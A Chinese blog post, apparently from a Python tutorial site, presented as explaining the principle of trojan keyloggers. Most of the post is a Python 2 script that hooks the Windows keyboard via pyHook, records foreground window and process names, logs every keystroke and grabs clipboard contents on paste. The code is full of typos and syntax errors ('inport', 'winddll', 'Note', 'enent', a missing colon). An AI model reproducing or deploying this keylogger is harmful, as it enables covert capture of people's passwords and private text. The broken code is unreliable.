Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python获取外网ip地址的方法总结
Jul 02 Python
Python2.7读取PDF文件的方法示例
Jul 13 Python
Python复制Word内容并使用格式设字体与大小实例代码
Jan 22 Python
Python判断两个文件是否相同与两个文本进行相同项筛选的方法
Mar 01 Python
python实现生成Word、docx文件的方法分析
Aug 30 Python
Pandas实现dataframe和np.array的相互转换
Nov 30 Python
Python&amp;&amp;GDAL实现NDVI的计算方式
Jan 09 Python
python GUI库图形界面开发之PyQt5窗口类QMainWindow详细使用方法
Feb 26 Python
如何提高python 中for循环的效率
Apr 15 Python
详解pandas中利用DataFrame对象的.loc[]、.iloc[]方法抽取数据
Dec 13 Python
解决Pytorch dataloader时报错每个tensor维度不一样的问题
May 28 Python
如何利用python创作字符画
Jun 25 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
php利用iframe实现无刷新文件上传功能的代码
2011/09/29 PHP
php取出数组单个值的方法
2018/03/12 PHP
PHP实现简单日历类编写
2020/08/28 PHP
兼容Mozilla必须知道的知识。
2007/01/09 Javascript
基于jquery实现的文字淡入淡出效果
2013/11/14 Javascript
js中定义一个变量并判断其是否为空的方法
2014/05/13 Javascript
Javascript小技巧之生成html元素
2014/05/15 Javascript
zepto.js中tap事件阻止冒泡的实现方法
2015/02/12 Javascript
基于RequireJS和JQuery的模块化编程——常见问题全面解析
2016/04/14 Javascript
javascript淘宝主图放大镜功能
2016/10/20 Javascript
详解vue组件化开发-vuex状态管理库
2017/04/10 Javascript
angular-cli修改端口号【angular2】
2017/04/19 Javascript
vue-cli如何快速构建vue项目
2017/04/26 Javascript
微信小程序三级联动地址选择器的实例代码
2017/07/12 Javascript
python爬取安居客二手房网站数据(实例讲解)
2017/10/19 Javascript
详解@angular/cli 改变默认启动端口两种方式
2018/11/29 Javascript
详解javascript中的Error对象
2019/04/25 Javascript
关于NodeJS中的循环引用详解
2019/07/23 NodeJs
JavaScript多种图形实现代码实例
2020/06/28 Javascript
浅谈JS for循环中使用break和continue的区别
2020/07/21 Javascript
解决vue项目获取dom元素宽高总是不准确问题
2020/07/29 Javascript
简单了解JavaScript作用域
2020/07/31 Javascript
[02:38]DOTA2英雄基础教程 噬魂鬼
2014/01/03 DOTA
Python  unittest单元测试框架的使用
2018/09/08 Python
使用python将时间转换为指定的格式方法
2018/11/12 Python
python模块常用用法实例详解
2019/10/17 Python
详解Python3 中的字符串格式化语法
2020/01/15 Python
python编写一个会算账的脚本的示例代码
2020/06/02 Python
人力资源专业推荐信
2013/11/29 职场文书
中层干部岗位职责
2013/12/18 职场文书
交通文明倡议书
2014/05/16 职场文书
2015年教学工作总结
2015/04/02 职场文书
扩展多台相同的Web服务器
2021/04/01 Servers
解决hive中导入text文件遇到的坑
2021/04/07 Python
go结构体嵌套的切片数组操作
2021/04/28 Golang
分享CSS盒子模型隐藏的几种方式
2022/02/28 HTML / CSS